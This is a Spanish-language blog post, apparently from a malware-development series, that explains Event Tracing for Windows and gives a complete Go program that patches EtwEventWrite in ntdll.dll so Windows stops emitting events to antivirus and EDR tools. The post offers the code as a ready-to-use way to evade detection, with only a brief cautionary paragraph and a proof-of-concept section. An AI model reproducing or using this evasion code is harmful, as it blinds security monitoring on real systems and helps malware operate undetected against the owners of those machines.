· Asparux · malware · 5 min read
Evadir la detección de ETW
Bienvenido a mi nuevo artículo, hoy les mostraré cómo podemos evadir el bloqueo/parcheo de ETW usando un código Golang simple.
¿Qué es ETW?
Muy bien, entonces ETW significa Seguimiento de eventos para Windows. Ahora, no dejes que el nombre te asuste: es esencialmente una herramienta que ayuda a Windows a realizar un seguimiento de lo que sucede bajo el capó. Imagínelo como un detective súper detective que constantemente toma notas sobre cada pequeño movimiento que hace su computadora.
Entonces, en el mundo de la tecnología, especialmente en la batalla contra los cibermalos, los sistemas AV y EDR utilizan ETW como un cuaderno de detectives sobrealimentado. Cuando su computadora está haciendo su trabajo, como ejecutar programas o conectarse a Internet, ETW registra silenciosamente todos los eventos que ocurren.
Ahora, aquí es donde entran los superhéroes AV y EDR. Utilizan esta gran cantidad de información registrada por ETW para detectar cualquier actividad sospechosa en su computadora. Es como tener un equipo de guardianes vigilantes revisando las notas del detective para detectar cualquier señal de problema.
AV, abreviatura de antivirus, confía en ETW para estar atento a patrones conocidos de mal comportamiento de malware. Si detecta algo sospechoso que coincide con el manual de los malos, se abalanza para salvar el día, como un superhéroe digital.
Por otro lado, EDR, o detección y respuesta de puntos finales, lleva las cosas a un nivel superior. No sólo busca a los sospechosos habituales, sino que también analiza las notas del detective en busca de cualquier comportamiento inusual o inesperado. Es como tener un guardia de seguridad vigilante que no sólo sigue las reglas sino que también está atento a cualquier cosa fuera de lo común.
Entonces, en pocas palabras, ETW es como el investigador detrás de escena, y AV/EDR son los guardianes que usan esta información para proteger su computadora del mundo en constante evolución de las amenazas digitales. Es como tener tu propio equipo de superhéroes cibernéticos que garantizan que tu computadora se mantenga sana y salva. Genial, ¿eh?
Código
package main
import (
"bufio"
"fmt"
"os"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
virtualProtect = kernel32.NewProc("VirtualProtect")
getModuleHandle = kernel32.NewProc("GetModuleHandleW")
getProcAddress = kernel32.NewProc("GetProcAddress")
flushInstructionCache = kernel32.NewProc("FlushInstructionCache")
rtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func disableETW() {
var oldProtect uint32
var pEventWrite uintptr
skernel32W := syscall.StringToUTF16Ptr("kernel32.dll")
sEtwEventWrite := []byte("EtwEventWrite\x00")
sVirtualProtect := []byte("VirtualProtect\x00")
r1, _, err := getModuleHandle.Call(
uintptr(unsafe.Pointer(skernel32W)),
)
if err != syscall.Errno(0) {
panic(err)
}
_, _, err = getProcAddress.Call(
r1,
uintptr(unsafe.Pointer(&sVirtualProtect[0])),
)
if err != syscall.Errno(0) {
panic(err)
}
sNtdll := syscall.StringToUTF16Ptr("ntdll.dll")
r1, _, err = getModuleHandle.Call(
uintptr(unsafe.Pointer(sNtdll)),
)
if err != syscall.Errno(0) {
panic(err)
}
pEventWrite, _, err = getProcAddress.Call(
r1,
uintptr(unsafe.Pointer(&sEtwEventWrite[0])),
)
if err != syscall.Errno(0) {
panic(err)
}
_, _, err = virtualProtect.Call(
pEventWrite,
uintptr(4096),
syscall.PAGE_EXECUTE_READWRITE,
uintptr(unsafe.Pointer(&oldProtect)),
)
if err != syscall.Errno(0) {
panic(err)
}
//Parcheo del código
//x64
var parcheoCodigo64 = []byte{0x48, 0x33, 0xc0, 0xc3}
var parcheoCodigo86 = []byte{0x33, 0xc0, 0xc2, 0x14, 0x00}
var parcheoCodigo []byte
if unsafe.Sizeof(uintptr(0)) == 8 {
parcheoCodigo = parcheoCodigo64
} else {
parcheoCodigo = parcheoCodigo86
}
_, _, err = rtlMoveMemory.Call(
pEventWrite,
uintptr(unsafe.Pointer(&parcheoCodigo[0])),
uintptr(len(parcheoCodigo)),
)
if err != syscall.Errno(0) {
panic(err)
}
_, _, err = virtualProtect.Call(
pEventWrite,
uintptr(4096),
uintptr(oldProtect),
uintptr(unsafe.Pointer(&oldProtect)),
)
if err != syscall.Errno(0) {
panic(err)
}
_, _, err = flushInstructionCache.Call(uintptr(0xffffffff), pEventWrite, uintptr(4096))
if err != syscall.Errno(0) {
panic(err)
}
}
func main() {
fmt.Println("Before ETW Patch")
fmt.Println("Press Enter to continue...")
// Espera a que el usuario presione Enter
bufio.NewReader(os.Stdin).ReadBytes('\n')
disableETW()
fmt.Println("After ETW Patch")
fmt.Println("Press Enter to exit...")
// Espera a que el usuario presione Enter para salir
bufio.NewReader(os.Stdin).ReadBytes('\n')
}
Objetivo: El objetivo principal del programa es desactivar ETW, una función de Windows utilizada para el seguimiento y registro de eventos en tiempo real.
Funcionalidad: El programa logra su objetivo ubicando la EtwEventWritefunción en la ntdll.dllbiblioteca y alterando su comportamiento.
Procedimiento: Utiliza la GetProcAddressfunción para obtener la dirección de la EtwEventWritefunción. La protección de la memoria de la ubicación de la función se modifica para permitir la escritura. Luego, el comienzo de la EtwEventWritefunción se reemplaza con instrucciones que la desactivan efectivamente. Se restaura la protección de la memoria original y se vacía la caché de instrucciones para aplicar los cambios.
Uso: El programa tiene una mainfunción que muestra mensajes antes y después de aplicar el parche ETW. Espera la entrada del usuario entre estos mensajes.
Precaución: No se recomienda modificar las funciones del sistema de esta manera para un uso normal. Puede provocar comportamientos impredecibles, inestabilidad del sistema o riesgos de seguridad. Este tipo de modificación normalmente se realiza con fines educativos y se debe tener precaución al utilizar dichas técnicas.
Prueba de concepto
Antes del parche ETW, la función EtwEventWrite
tenía este aspecto en el depurador:
Pulsamos alguna tecla, y este es el resultado:
¡Ahora esta función no funciona cuando Windows intenta crear un nuevo evento!
Conclusiones
En conclusión, este artículo proporciona información sobre cómo evadir la detección de seguimiento de eventos para Windows (ETW) mediante un fragmento de código Golang. Presento el concepto de ETW, comparándolo con un detective que monitorea y registra constantemente eventos en el entorno de Windows. Se destaca el papel de los sistemas antivirus (AV) y de detección y respuesta de endpoints (EDR) como guardianes cibernéticos que utilizan la información de ETW.
Luego, el artículo profundiza en un fragmento de código diseñado para deshabilitar ETW parcheando la función EtwEventWrite en la biblioteca ntdll.dll. El código altera la protección de la memoria, modifica la función y posteriormente restaura el estado original. Una nota de advertencia enfatiza los riesgos potenciales y las consideraciones éticas asociadas con tales modificaciones.
La sección Prueba de concepto demuestra visualmente el impacto del código en la función EtwEventWrite, mostrando su eficacia para prevenir la creación de nuevos eventos.
En resumen, el artículo combina la comprensión teórica de ETW con la implementación práctica a través del fragmento de código, brindando a los lectores una idea del mundo del desarrollo de malware de Windows y las complejidades de evadir la detección de ETW.